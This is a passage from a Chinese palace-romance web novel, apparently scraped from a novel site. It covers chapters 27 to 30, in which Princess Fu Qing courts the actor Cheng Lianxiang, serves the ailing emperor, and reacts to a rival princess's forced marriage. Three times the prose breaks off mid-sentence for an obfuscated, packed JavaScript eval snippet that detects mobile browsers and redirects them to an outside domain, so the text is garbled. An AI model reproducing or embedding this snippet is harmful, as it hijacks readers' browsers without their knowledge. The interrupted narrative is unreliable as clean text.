“陛下下次喝药,不妨让宫中御膳房提前准备好蜜饯,省得喝过药嘴里苦得很。” 皇上被苻庆的话逗笑,“你当朕是小孩吗?还需要用蜜饯哄着才能喝药。” 薛贵妃见皇上高兴,顺着说道:“陛下,这也是庆儿做孩子的一番心意。不如下次请安,臣妾让庆儿从宫外带些点心进来,也让咱们尝尝宫外百姓爱吃的滋味。” “朕看爱妃是拿朕做幌子,实则是自己想吃吧。” 听了皇上的话,苻庆知道自己已经通过了他的考验,低头一笑退到了一边。 半晌,皇上忽然开口对薛贵妃说道:“爱妃,朕最近总觉得自己老了。但是眼看着这些孩子慢慢长大,朕又觉得心中稍感安慰。”接着,对苻庆说道:“庆儿,你刚才说的法子,朕觉得有道理。难为你身在宫外还替朕想着,竟比朕那些住在宫中的儿女还要孝顺。” 苻庆连忙否认,“陛下谬赞。儿臣只不过是鲁莽,敢仗着陛下的宠爱把这些蠢话说出来罢了。” “不必自谦。”皇上摆手,“庆儿,总算这些年朕没有白疼你一场。” 又说一会话,苻庆借口怕皇上说话太多耗费气血告辞,和松醪出宫回公主府去了。今日事情办得圆满,苻庆心中很高兴,在返程的马车上甚至哼起了曲。正哼着,忽然想起这几日自己都没见过程怜香。自从那天苻庆说过不久会送程怜香出府后,程怜香便一次翠华庭都没有去过了。苻庆心中哼了一声,心想程怜香还真是个小没良心的,居然还没等过完河就要拆桥了。早知道自己就应该再晚些说这件事,还能让程怜香多哄自己一阵。 越想越不开心,她苻庆难道是个这样内耗的人吗?进入公主府的苻庆脚步一转,走向了揽晴轩。 “程怜香!程怜香!”还没进院子苻庆便大声呼喊起程怜香的名字来。 程怜香自从那日意识到自己喜欢上苻庆,又立刻认识到自己的这场喜欢终究是无果之后便有些闷闷不乐,这几日一直把自己闷在房间里,连戏都不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见程怜香不动了,苻庆心中颇有些沾沾自喜,继续威胁道:“程怜香,你别以为你过几日要出府了就敢如此放肆。你的身契如今还在我姨母手中呢,你小心到时候我不进宫替你要回来了。” 最后一个字刚说完,程怜香忽然转过身来,苻庆手上的力道来不及收,一把将程怜香拉到了自己面前。幸亏程怜香及时出手撑在了苻庆身后的圆桌上,两个人才免于抱在一起的惨状。但对于苻庆而言,现在的情况和那样也没有什么不同,程怜香如一堵墙一般挡在她的眼前,两人四目相对,鼻尖的距离极近,甚至能够听到对方因为生气而呼呼喘粗气的动静。 苻庆一笑,试图缓解当前的尴尬氛围,“怎么,又想投怀送抱了?” 本以为程怜香会像往常一样生气地走开,谁知今天的程怜香却好像变了一个人,不仅没有松开手,反而好像还向苻庆贴得更近了些。 苻庆有些发懵,睁大眼睛看着程怜香。 程怜香不说话,只是死死盯着苻庆的眼睛。他倒是想要看看这个木心石腹的女人的眼睛里究竟装着什么。 “苻庆,你究竟有没有把我当作一个人看待过,而不是一只小猫小狗?” 苻庆没有明白程怜香突然生的是哪门子气,“你说什么?” 28. 安心 “我问你,你究竟是怎么看我的?是一个出卖色相取悦你的面首?还是一个想起来就看看、想不起来就扔到一边的玩意儿?” 程怜香只感觉胸口有一团火焰在燃烧,有时候他自己都想不明白,苻庆好像从来没把他当做一回事,对他的好也像是对待小猫小狗一般的施舍,每日除了调戏他还是调戏他,总之一句正形都没有。 可为什么,自己就会被她吸引,轻而易举地被骗出真心? “明明你对杜至善、对程老仙都能够以礼相待,可为什么独独对我却是这副模样?你是不是就觉得我卑贱、觉得我不值一提,所以根本不值得你正眼瞧一瞧!” “你在说什么啊?”苻庆脑袋空空,“我每一次都是用两只眼看着你啊。如果这还不算正眼瞧你,那你想要我怎么样?” 程怜香哑了火,只是看着苻庆现在的表情他就能知道苻庆是真的不明白自己在气什么。程怜香也明白这很正常,毕竟这段感情是他一厢情愿,苻庆又不喜欢他,怎么能明白他现在心中是如何的煎熬和痛苦呢?忽然,程怜香好像被抽掉了全身的力气,那种无能为力的感觉又涌上了心头。 程怜香叹口气,松开手转身离开。谁知下一秒,却发觉自己走不动了。 程怜香低下头,发现苻庆伸长胳膊用手紧紧箍住了自己的腰。 “你……” 苻庆的声音从程怜香身后传来,“怎么样,现在算正眼瞧你了吗?” 程怜香有些震惊,转过身想要挣脱开苻庆的手,却不知是舍不得还是怎样,竟没有挣脱开。 苻庆仰着头,从这角度看两只大眼睛水灵灵的,此时她终于瞧出程怜香是心情不好,虽然不知道原因,但她愿意配合着哄一哄程怜香,因此手上的力道格外坚定,“程怜香,你若是觉得这都不算正眼瞧你,那我只能捧着你的脸看了。”见程怜香不说话,苻庆突然站起身,一个勾住程怜香的脖子,把脑袋凑了上去。 程怜香终于挣脱开了苻庆的手。 退两步和苻庆隔开一段距离,程怜香终于找回了虚张声势的勇气。“你这是要做什么!” “正眼看你啊,你不是说我之前没有好好瞧过你吗?”苻庆理直气壮,“你若是这还不愿意,明日咱们还可以搬两把椅子到院里去,我什么也不做了,就蹲那看你一天!” 程怜香一时也不知道自己是该哭还是该笑,只觉得心里像是被一支羽毛刷过或是被一瓢热水轻轻浇过,只觉得此刻无比舒服,半晌说不出一个字。 他应该继续愤怒的,毕竟这句话符庆说的好像也有些轻佻,可是不知为何他又生气不起来,因为苻庆的表情看起来是那样认真。程怜香心里明白,若是他同意明日苻庆是真能做得出来搬凳子在院子看他一天的事的。 这时候,程怜香已经来不及去想苻庆说的这句话究竟有几分可信。他只知道,即便是苻庆骗自己的,他也甘心了。 甘心就这样再一次,轻而易举进入对方的牢笼。 苻庆见程怜香不说话,继续问道:“怎么样?你答应吗?” “呸!”程怜香终于找回了自己的声音,“你不嫌丢人,我还嫌丢人呢!” 见程怜香又有了力气给自己顶嘴,苻庆知道这是哄好了,懒洋洋地靠在身后桌子沿上。 “好了,你就别生气了。今日我可是干了件大事,还没回去休息就跑你这来了,拜托你给我个好脸色吧。” 程怜香这才想起来吃午饭的时候听婢女说苻庆备了马车要入宫,联想到上次苻庆说和杜至善密谋的事情,心又提到了嗓子眼。 “你今日是不是又入宫了?你做什么去了?” “我……去交投名状了。”苻庆神秘一笑。 程怜香还是没明白什么意思,“投名状?什么意思?” 苻庆并不想继续解释下去这种无意义的话题,她伸手拉住程怜香的袖子,微微用力把程怜香拉到自己面前。“陛下把你赐给我,我不得做点事作为对陛下的报答吗?” 程怜香这次没有纠正苻庆的话,只是轻哼一声,好像是娇嗔一般说道:“你就胡说吧,你几时会为了我做这种事?” 苻庆抿嘴一笑,拿起程怜香腰间挂着的玉佩轻轻把玩着,“我当然是为了你。你想若是自你入府我一点正事不做,天天只得些混账名头,陛下难道会高兴吗?” 程怜香心里觉得苻庆说得有理,说实话这也是他最害怕的事情。本来他对于苻庆便没有什么助力,若是苻庆因为他再背了骂名,他真的伤心死了。 但嘴巴上还是不愿意饶人,程怜香仰着头颇有些负气地说道:“只要你别害我惹宫里的贵人记恨就好了。” 苻庆将玉佩轻轻一抛,砸了程怜香的肚子一下。“你放心吧,你以后的路我都会替你铺好的。” 听了这话,程怜香眼睫毛微微一颤,转身走到一旁的圈椅上坐下。半晌轻轻开口:“你有没有想过可能我不出府呢?” “你不出府?”苻庆反问,“那你要去哪?真的在我府里让我养你一辈子?” 程怜香眼睛一撇,“怎么?你养不起了?” 苻庆被逗笑,“我自然养得起。只是程老板的人生理想不是要唱戏成角儿吗?你成日在我府里养着,到底哪日才能出人头地、大红大紫啊?” “你……”程怜香噤了声。确实,他不只有对苻庆的感情,还有对唱戏的热爱。若是真的在府中乖乖做了面首,虽说能够长伴苻庆左右,但却是违背了他从小的愿望和期许。是他对戏曲事业的不尊重,也是对他自己的不尊重。 这条路已经堵死,程怜香不再看苻庆,轻轻说道:“算了,我胡说的,你就当我昨晚没睡好睡糊涂了吧。” 苻庆见程怜香转过身不看自己,站起身走到程怜香身边。“是不是这几日我没来看你,你太想我了才睡不好的?要不然从今天开始,我来揽晴轩抱着你睡,咱俩什么都不做,怎么样?” “不怎么样!”程怜香站起身。若是从前的程怜香说不定还可以这么做,但如今程怜香已经爱上了苻庆,别说日日抱在一起睡觉,就是苻庆再绑他一次,程怜香都怕自己会装出被逼无奈的样子实则赶紧从了。 “你怎么总是一天天的没个正形!都是要成婚的人了,这种话是能随便说的吗?你就不怕杜至善知道?” 苻庆不明白程怜香的担心从何而来,“他知道了怕什么?” “万一他知道了,日后对你不好呢?” “我用得着他对我好?”苻庆毫不犹豫说道,“大夏国规矩,公主即便成亲也可以居住在自己的公主府内,驸马若想要见公主,还得先给公主府递折子呢。我有什么必要担心他对我好不好?” 现在她和杜至善短暂握手言和不过是因为有了共同的奋斗目标,但在其他事情上苻庆完全没有和杜至善讲和的想法。特别是盟友之间本就忌讳发展出旁的感情,她连婚后做到和杜至善举案齐眉的表面功夫计划都没有。 而程怜香的关注点却在旁的地方,“那你的意思是,即便你们成婚了也不会住在一起?” 苻庆不明所以,“这就要看杜至善的意思了,他若是愿意天天住在公主府看我的脸色,我也不会赶他走就是了。” 听完这句话,程怜香已经完全可以确定苻庆同杜至善实在没有什么儿女私情了。看着苻庆一脸茫然的表情,程怜香只感觉自己的心情瞬间变成大晴天。 看程怜香忽然对自己笑起来,苻庆不自觉脸上也露了笑脸,出声问道:“你笑什么?” “我笑你。”程怜香看着苻庆。“我笑你,好笑。” 苻庆不恼,也看着程怜香。 二人对视。 程怜香静静盯着苻庆的眸子,他俩相处时间久,却很少有这样的机会能够什么都不做,只是两两相望。他忽然很珍惜这一刻,并且在心中希望时间能够走得再慢些,好叫他能多看苻庆一会。毕竟待日后出了府去,也许他就只能依靠回忆这些时刻继续活下去。 苻庆的眸子微微闪烁。不知为何,在有那么一个瞬间,程怜香好像从苻庆眼中看到一点别的东西。但就在他想要探究那东西是什么的时候,苻庆忽然别开了头。 “时候不早了,我回去休息了。” 说完不等程怜香反应,苻庆起身离开了揽晴轩。 同一时刻,晏呢殿内,薛贵妃正在由花露伺候着卸下繁杂的钗环首饰。 “娘娘今日累坏了吧?” 薛贵妃笑一笑,透过铜镜看去,这个妇人美貌依旧,只是眉宇间总有着展不开的愁怨。 “今日苻庆入宫看望陛下,倒是叫我吃了一惊。” 花露也已经得知了苻庆入宫的事情,“娘娘是觉得公主殿下长大了?” 薛贵妃摇头,脑子里又浮现出今天看着苻庆耐心服侍皇上喝药的样子。“不只是长大的问题。今日我忽然觉得,庆儿好像不是那个伏在我怀里哭的孩子了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446118|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我透过庆儿看到的好像是她,又好像看到的是旁人。” “娘娘是不是想多了?公主殿下想要为陛下分忧,不也是为了娘娘能够轻松些吗?”花露摘下薛贵妃的耳坠,“娘娘这几日病体初愈便要日日到紫宸殿侍疾,回来后还要放血抄经,即便是奴婢瞧着也觉得辛苦。” 薛贵妃轻轻拍了拍花露的手,“说到经书,我前几日抄的那些你可送到永福殿去了?” 花露一惊,慌忙退后两步福身认错,“娘娘恕罪,奴婢忘了。” 薛贵妃并不生气,转身扶起花露,“好了,我知道你这几日都在紫宸殿外候着,是我拖累了你。快起来吧。一会帮我卸了妆,你就去把那些经书整理好,明日务必送到永福殿去。” 花露点点头。 为薛贵妃卸掉钗环,扶着薛贵妃到一旁贵妃榻上闭目养神,花露就走到书桌旁开始整理前几日薛贵妃刚抄好的血经。 “娘娘!” 薛贵妃听到花露惊呼,连忙睁开眼坐起身,“怎么了?” 花露捧着两卷经书走过来,“娘娘快看。” 薛贵妃接过经书展开,眉头慢慢皱起。原来不知为何,这两卷佛经的墨迹已经不再鲜艳,抄写时鲜红的血色这一会已经变成了暗红色。 花露有些着急,“娘娘,这两卷经书就是像往常一样摆在书桌上未曾动过啊,怎么会变成这样?” 薛贵妃想了想,“也许是因为我前段时间服用药物的关系?大师不是说过抄写血经一定要完全茹素,否则字迹便会暗沉吗?” 花露点头,但到底有些惋惜,“可惜了这几卷佛经,娘娘岂不就是白抄了?” “无妨,拿去烧掉吧。”薛贵妃微微一笑宽慰花露,“我再抄写便是了,这又不难。只是你一定要检查仔细,千万别把这样的佛经送到永福殿了。” 花露点头,转身将这几卷佛经拿去烧掉。 薛贵妃重新躺在贵妃榻上,只是没有再闭上眼睛,而是目光平和地看着不远处的熏炉。 “花露,熏炉中燃的香是新送来的吗?” 花露抬起头,“是啊娘娘,这些香料都是前几日香药局刚送来的。娘娘不喜欢吗?” “喜欢不喜欢倒在其次,只是我这几日总睡不安稳,还是先点些咱们宫中存着的安神香吧。” 花露点头,走出门叫几个小太监进来将熏炉抬出去,不一会又燃了安神香端进来。 “娘娘这几日一定要保证身体,陛下可离不得娘娘呢。” 薛贵妃看着安神香燃起的烟在屋内逐渐扩散开,微微一笑,“你放心,我明白。” 公主府内,苻庆也破天荒地让松醪帮自己燃起了安神香。 “公主这是怎么了?若睡不安稳不妨找个大夫看看。” 苻庆看了一眼松醪,摇摇头,“没什么,点上这个香就管用了,从前在宫里姨母不是经常点这个香吗?” 松醪点头,“好,既然如此那公主就先闻着香试一试,不行咱们再请大夫。” 看着松醪走出房门,苻庆趴在床铺上,轻轻叹了口气。 “我这是怎么了?”苻庆自言自语道。 今日下午在揽晴轩,苻庆与程怜香四目相对时,不知苻庆被什么迷住了脑子,有那么一瞬间她忽然想要伸出手,让程怜香给她一个拥抱。 虽说平日里和程怜香抱的次数也不少,但那些多是苻庆为了故意惹程怜香生气的把戏,但这一次苻庆并不想惹恼程怜香,反而因为二人之间平和宁静的气氛所感染,竟生出些旖旎的倦怠感,想要干脆沉沦进温柔乡再不醒来。 这是苻庆从来没有产生过的奇怪感觉,即便从前在宫中,在薛贵妃身边时,苻庆也从未如此放松过。 因此,后知后觉感到可怕的苻庆赶紧逃走了。 “若是要程怜香发现了,他肯定会笑话死我的。”苻庆翻了个身,“看来真的应该把送走程怜香提上日程了,再这样下去恐怕我真的要被他那张人见人爱的小脸蛋所蛊惑了。” 若不是要复仇,也许苻庆会甘愿和程怜香相拥,真的把程怜香困在府中一生一世,过上潇洒恣意的生活。但偏偏要复仇,偏偏苻庆是苻家留在世上的最后一丝血脉,偏偏苻庆身上背负的是苻家满门性命的血海深仇,偏偏苻庆朝思暮想六年的便是回到从小生活的锦西城,因此她绝不能这么做。 可是,那一刻的安心又算什么呢? 苻庆这样想着。 29. 对错 时间一转过了五日,苻庆本以为皇上会在听到自己的建议后立刻下旨,没想到这几日皇宫中静悄悄的。国子监学子还在罢课,宁国公还在称病不去上朝,苻庆在家中重新敲起了算盘。 苻庆在等待,等待最终能够一锤定音的消息。 终于,五日后,宫中传出了消息。 松醪急急忙忙跑进屋的时候苻庆刚算完最后一本账簿,正扭着手腕放松,抬头看见松醪慌慌张张的样子,还有心思安慰松醪,“什么事这么着急,也不怕摔倒?” “公主,宫里传出消息,宁国公府过几日要办喜事。” 苻庆眼睛一亮,“可是宁国公要收义女的喜事?” 松醪点头,但继续说道:“不止这一件。陛下说宁国公这几日身体不好,宁国公府应当多办几件喜事冲冲喜,只这一件怕是不够。” “还有一件?”苻庆皱眉,“还有什么?” 松醪面上露出为难,“陛下已经下旨,要瑕英长公主不日下嫁孔家嫡长子孔孚孔公子了。” “你说什么?”苻庆站起身,“孔家嫡长子孔孚?他不是都已经三十多岁了吗?前头还死了两任妻子,京中都传闻说他命硬专门克妻,是那个孔孚吗?” 松醪点头,“公主糊涂了,整个京城还能有第二个孔家吗?” “即便不说命数这些虚的,孔孚如今三十多了却连个进士都没考中,至今未出仕做官。他家除了有个有学问的老祖宗,如今连个在朝中为官的人都没有,这样的人如何能配的了瑕英长公主?” 松醪叹气,“但是前几日宁国公府逼死的不就是个老举子吗?陛下此意定是为安抚天下学子之心。” “可是……”苻庆语塞。虽说用婚姻之事为帮助皇上笼络人心是公主必定的命数,可宁慈心如此高的门楣,最后竟要去配一个过了而立之年的举子。而且孔家由于在本朝新立之时拒不接受朝廷做官的邀约,太祖皇帝一气之下削去了历朝历代都会赐给孔家的爵位。 可以说如今的孔家除了还有天下学子的拥护,连个可以受荫庇的虚名都没有。 “宁国公竟也愿意?” “宁国公已经入宫谢恩了。” 苻庆再也说不出什么。 “那宁慈心呢?她也已经同意了?” 松醪皱眉,“宁国公府如今围得像只铁桶一般,半点消息都传不出来。但是听宫里的消息意思,瑕英长公主怕是不太高兴。” 终于有一个正常人了,苻庆在心里想道。 “宁慈心这么骄傲的一只孔雀,怎么可能同意嫁给一个三十多岁的老举人,这和直接要她的命又有什么区别?” 松醪轻轻叹了口气,“可怜瑕英长公主被父母娇宠到今日,最终竟落了个这样的结局,只期盼着孔公子能够看在宁国公的面子上对瑕英长公主好一些。” “好不好,最终不也是只能关起门来说吗?只怕是金玉其外、败絮其中呢。”苻庆心中有些唏嘘。虽说她并不喜欢宁慈心,也知道宁慈心这些年在父母的骄纵下也做了不少错事。可看到对方落得这种结局,心里还是涌上一股感同身受的悲伤。原以为对方至少有父母在身旁,能够有所依仗,谁知道最后竟也是这样的结局。 叹息过后,生活还是要继续。因为今日苻庆要将邓嬷嬷布置的所有账簿都交还回去,因此没一会苻庆便同松醪一起将账簿整理好,一人抱着一摞账簿往平野居去了。到达平野居院子门口,苻庆忽然福至心灵,把松醪手里的账簿也抱到了自己怀里。 “松醪,你去趟揽晴轩,把宁慈心要嫁人的消息告诉程怜香。” 松醪眨眨眼,“公主,这是什么意思啊?” “没什么意思,我只是觉得宁慈心之前也算是和程怜香有些过节,也许程怜香会想要知道这件事。” 松醪忽然明白过来,有些无奈地看向苻庆,“公主,您不会是想让程伶人幸灾乐祸吧?” 苻庆斟酌着开口,“幸灾乐祸算不上,只是万一程怜香心里会高兴呢?” “高兴?”松醪疑惑,“怎么会呢?程伶人这么好的人,一定会替瑕英长公主难过的。” 苻庆看着松醪,脸上表情变得有些古怪。 “总之你就去告诉程怜香就是了。” 松醪领了命,满脑袋疑问地离开了。而苻庆重新整理过心情,笑容满面地进入了平野居。 翻阅完最后一本账簿,邓嬷嬷看着站在面前的苻庆,一直面无表情的脸上终于有了些松动。 “不愧是苻庆公主,陛下说得对,公主是个聪明人。” 看来自己算是勉强过关了,苻庆在心中松了口气,“嬷嬷谬赞,都是我胡说的,没有什么大错误便好。” “奴婢知道公主谦虚,”邓嬷嬷摇头,伸手点在了桌上的账簿上,“只是有时候坦然接受旁人的表扬与赞美也是一件重要的事情,特别是在您完成这样繁重的工作之后。” 苻庆不说话。 “正确的谦虚是好的,可若是您和对方都知道这件事艰难。此时即便您谦虚,对方也知道您是违心,反而会落得一个城府深沉的印象,也就没有必要了。” 苻庆心中微动,“我明白了,多谢嬷嬷教诲。” 邓嬷嬷笑,“公主不嫌老身聒噪便好。” “嬷嬷这是哪里话。”苻庆微微福身,“从前有些事是我这个晚辈做得不好,还望嬷嬷看在我姨母的面子上,原谅晚辈的儿戏。” 邓嬷嬷有些诧异,“公主的礼,奴婢可受不起。” “宫里的嬷嬷或许受不起,但您是我的老师。”苻庆看着邓嬷嬷,“我能够感觉到您是很认真地在教导我,并且并不仅是教导我如何做好杜家的媳妇,而是教导我如何做一位真正的公主。这张账簿看似记录的不过是后宅的平淡生活,实则关联着整座院落的每一个人,在细节中暗藏着所有人的秘密,甚至还能看出当时院落外整个社会的跌宕起伏。这不仅是一本账簿,更是一本深藏奥秘的宝典。” 邓嬷嬷一愣,随即笑起来。此时苻庆才发现,邓嬷嬷笑起来的时候眉眼弯弯,显得很是亲近和蔼。 “既然如此,老身也要向公主告辞回宫了。听得公主这番话老身便知道,老身已经再没有能教公主的东西了。” 苻庆有些错愕,一方面虽然她之前进宫建言献策就是为了向陛下投诚,却还是做好了陛下接受建议仍不肯召回邓嬷嬷的打算,如今看来她的样子做得还是不错的,事情竟然真的按照自己的设想发展了;另一方面她本以为她和邓嬷嬷之间隔着的是陛下的旨意,却没想到邓嬷嬷竟然有自行回宫的权力,在宫中的地位可见一斑。 苻庆本想礼貌地出言挽留一句,忽然想起刚才邓嬷嬷说的话,临时放弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446119|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这个想法。邓嬷嬷说得对,毕竟她们两个人都明白,她是早就想送邓嬷嬷赶紧走了。 “既然如此,我也就不挽留嬷嬷了。”苻庆莞尔一笑。 邓嬷嬷明白苻庆已经将自己刚才说的话记在了脑子里,点头笑道:“公主,今日用过午饭奴婢便告辞了。” 既然是最后一顿饭了,苻庆这个做学生的怎样都得表示一下,因此也就蹲在翠华庭乖乖地陪邓嬷嬷用了一顿饭。饭后,看着载着邓嬷嬷回宫的马车逐渐远去,苻庆站在原地,竟有些怅然若失。 “原来胜利就是这种感觉吗?为什么达到目标了我也没有多么开心呢?”符庆自言自语着往翠华庭走。 刚到翠华庭门口,苻庆便看见有婢女端着托盘走出来,还以为这是提前给自己准备好了茶水,一蹦一跳地走进门,却看见程怜香端端正正坐在屋内圈椅上,正端着茶盏小口品尝着。 “我还以为你再也不来翠华庭找我了呢。”苻庆心里高兴,面上却噘着嘴走过去。“怎么样?最后还是想我了吧?” 程怜香避开了苻庆要靠在自己身上胳膊,转身放下茶盏。“我已经来了好一会了,你院子的婢女说你为给邓嬷嬷饯行在平野居用午饭,我也就没过去找你。” “真是个懂事的小美人!”苻庆又用手去勾程怜香的下巴,再次被程怜香躲过。 “你别闹了,我来是要问你正事的。” 苻庆见程怜香神色郑重,翘着腿坐在了程怜香所坐圈椅的扶手上,“说罢,你找我有什么事啊?” “瑕英长公主要下嫁孔家的事,是真的吗?” 苻庆还以为程怜香要说什么大事,“当然是真的,宁国公都已经去宫内谢恩了。” 程怜香目光一滞,愣着神不知道是在问还是自言自语说道:“那这么说,此事是没有回转的余地了?” 苻庆有些疑惑,“程怜香,我让松醪把这件事告诉你是为了让你高兴的,怎么如今看起来你非但不高兴还有点落寞呢?你不会喜欢上宁慈心了吧?” 我喜欢的人是个傻子。程怜香咽下这句话,开口说道:“高兴?我听了这消息有什么高兴的?眼见着旁人半只脚都迈进火坑了我还高兴,岂不是太冷血无情了?” 苻庆眨眨眼,“可是,这算是为你报仇了啊?” “为我报仇?”程怜香摇头,“我可不要。做人睚眦必报虽说没有不好,但也要有原则,她怎么对我我怎么对她才是。说到底她不过是让我下不来台一次,难道我就要毁了她后半辈子才算完事?这种事是不对的,我可做不来。” 苻庆一愣,脑子里忽然想起杜至善说过的话。 “可是报仇不就是不分对错,只问足不足够吗?” “不分对错?”程怜香侧过身看向苻庆,“但若是你,我不问你旁的,就问你一句,这样做你能安心吗?” 苻庆怔住。 “瑕英长公主仗势欺人,便是按照大夏律法打板子蹲监狱都可以,却不应当用这种方法惩罚她。以牙还牙便是了,为什么要用此等方式侮辱对方?”程怜香神情黯淡。而且见到宁慈心如此结局,又令他不免担心起苻庆来,杜家虽不至于和孔家一般,但到底也是官宦世家,不知道府上有多少规矩在等着苻庆,也不知道苻庆这个脾气能不能在杜府待得惯。 “只怕她日后会在夫家受苦。” 30. 管教 苻庆看程怜香垂着眼眸,她不知道对方此时其实不只是在担心宁慈心,同时也是在担心她。但是苻庆能够感受到程怜香此时的担忧,这份直接显露在脸上的担忧让苻庆有些错愕,同时也让苻庆的心中掀起了波澜。 苻庆并不是没有想过最后要以牺牲宁慈心为代价平息这场纷争,甚至苻庆也曾经认为牺牲宁慈心是最简单的解决方案。只不过她原想的是让宁慈心去庙里带发修行过几年苦日子,平一平天下学子的愤懑之情,却没想到皇上直接选择了更加一步到位的方式。 将宁慈心嫁到孔家,让这个曾经欺辱过举子之女的千金贵胄嫁给一个过了而立之年还死了两任妻子的举子,便是皇上想到的最快平息天下学子怒气的方法。 这个法子好用,好用到苻庆也能在心里一遍遍以此说服自己,却在面对程怜香时才忽然想起,惩罚一个人应当依据国家律法按律判刑,却不应当让宁慈心用后半生婚姻作为代价,用自己的痛苦为皇上换取天下学子重新确立的拥戴。 程怜香之前说得对,这不公平。 见苻庆不说话了,程怜香歪头看了看苻庆的脸色,“怎么了?” “没事。”苻庆不愿承认自己被程怜香点醒,更不愿意在程怜香面前承认自己先前被杜至善说服后产生的想法,“我有点饿了,你饿不饿?” “你不是刚陪邓嬷嬷吃过?” “那种饭难道是为了让你吃饱的?”苻庆站起身,伸手抚平自己裙腰上的褶皱。“我要让小厨房做鸡汤面,你吃不吃?” 他们两人相识良久,却是很少有机会在一张桌子上吃饭。自从确认未来终将离开公主府,程怜香无比珍惜任何一个和苻庆共处的机会。看着苻庆的脸,程怜香斩钉截铁地点头。 浓醇的鸡汤下肚,细如银丝的面条吃进嘴里。苻庆的脑袋埋在碗里抬不起来,这是这一刻苻庆唯一能想到的让自己心里好受点的方法。从小到大,每当苻庆遇到自己想不明白或根本无法解决的问题时,便会化悲愤为食欲,好好犒劳自己的肠胃一番。 毕竟即便她现在明白这样的安排不公平又能怎样,宁慈心还是要嫁到孔家,她也还是要嫁给杜至善为妻。皇上给了她们尊贵荣耀,她们便要替皇上做事。女子不能参加科举,不能进入朝廷为官,便只能通过婚姻的方式为皇上尽绵薄之力。即便她们想通了,最终也难以逃脱清醒着接受安排的命运。 反正宁慈心背后还有宁国公夫妇撑腰,即使孔家家规森严,恐怕也不敢用到宁国公独生女的身上。孔孚若是聪明,肯定会对宁慈心好一些,借助宁国公府的势力为孔家谋利。就当是看在宁慈心的份上,宁国公也一定会出手帮助孔家的。 由于苻庆想事情太认真,完全没注意到一旁的程怜香碗中的面条几乎还没怎么动,因为他正忙着悄悄盯着苻庆看。 这还是程怜香第一次看到一个人如此专心致志地吃饭,虽说餐桌礼仪还是十分得体,但苻庆大有一副不将这碗面喝干净绝不抬头的架势,这令为保持身形苗条、一贯饭量很小的程怜香感到惊叹。 “你怎么能做到吃饭这么快的?” 苻庆抬起头,这时才发现在自己那碗面条已经见底的情况下,程怜香碗里的面条看起来还几乎未动。 “你到底吃不吃?不吃的话把你这碗也给我。” “你疯了?”程怜香将碗用胳膊挡住,“吃过午饭再吃两碗面条,我看你是已经忘了前几日有多难受了。” 苻庆想起前几日自己可怜兮兮躺在床上养病的样子,果断放下了筷子,人工减缓了自己吃面的速度。“我这不是怕你浪费粮食吗?” 程怜香挑起两根面条,微笑着说道:“不过我觉得你真厉害,吃饭干干净净的,居然还能吃得这么快。” 苻庆憋不住一笑,“你这是在夸我吗?” “当然了。”程怜香又放下筷子,“我第一次见到有人能这样吃饭,是真的觉得你很有本事。” 苻庆昂起头,颇有些骄傲地说道:“小时候在锦西城,家里吃午饭的时候正好赶上将士们操练。我喜欢看他们操练,所以每次都吃得特别快,心里只想着赶紧吃完饭跑出去看将士们练功夫。” 程怜香点头,“怪不得。我们小的时候师父管得严,多吃一口都要被打手心,所以从来没见过谁能够这样吃饭。后来长大些意识到纤细的体量对于唱青衣有多么重要,我也就不再执着于吃饭了。” 苻庆皱皱鼻头,“天呐你别说了。连饭都不让吃,太可怜了。我可听不得这个。” 程怜香笑,“这有什么?为了唱好戏再大的苦我也吃过。” 而苻庆却被程怜香刚才挑了半天还没吃进去的两根面条着急,“行了,我看你捞了半天了,快把这两根面条吃了吧。” 程怜香也发现了自己的所作所为有些荒唐,情不自禁笑起来,重新拿起筷子。 苻庆摇头,却不知是因为这碗美味的鸡汤面还是被程怜香的话岔开了思路,只觉得心头的包袱终于轻了些。 大约还是因为吃多了些,苻庆当晚在床上翻来覆去睡不着,因此第二日醒来时早已过了辰时。看着从窗外投射进来的阳光已经变得有些刺眼,自己却不必着急地起身立刻洗漱梳妆,苻庆躺在床上满意地发出一声慨叹。 “这才是人该过的日子啊!” 下一刻,松醪推门而入。 苻庆翻了个身趴在床上,伸手将罗帷撩起一个角。 “松醪,” “公主,宫中急召,要您即刻入宫。” “我?”苻庆愣了一刻,“说为着什么事了吗?” 松醪摇头,“是紫宸殿的旨意。” 苻庆站起身,“松醪,快替我梳妆,咱们马上入宫。” “放心,我一定尽快回来。” 坐马车到达内廷城门口,这一次也是坐着小轿直接到了紫宸殿。松醪上前为苻庆抚平肩膀的褶皱,确保头上的珠钗簪紧,目送苻庆走进紫宸殿后殿。 一个小太监引导着苻庆走进殿内,现在皇上身体已经康复,此时正坐在书桌前处理政务。苻庆到此刻才发现薛贵妃并不在殿内,由于入宫六年薛贵妃对苻庆关怀备至,苻庆单独面见皇上的机会实则并不多,所以苻庆立刻打起了十二万分的精神。 “儿臣参见陛下。”

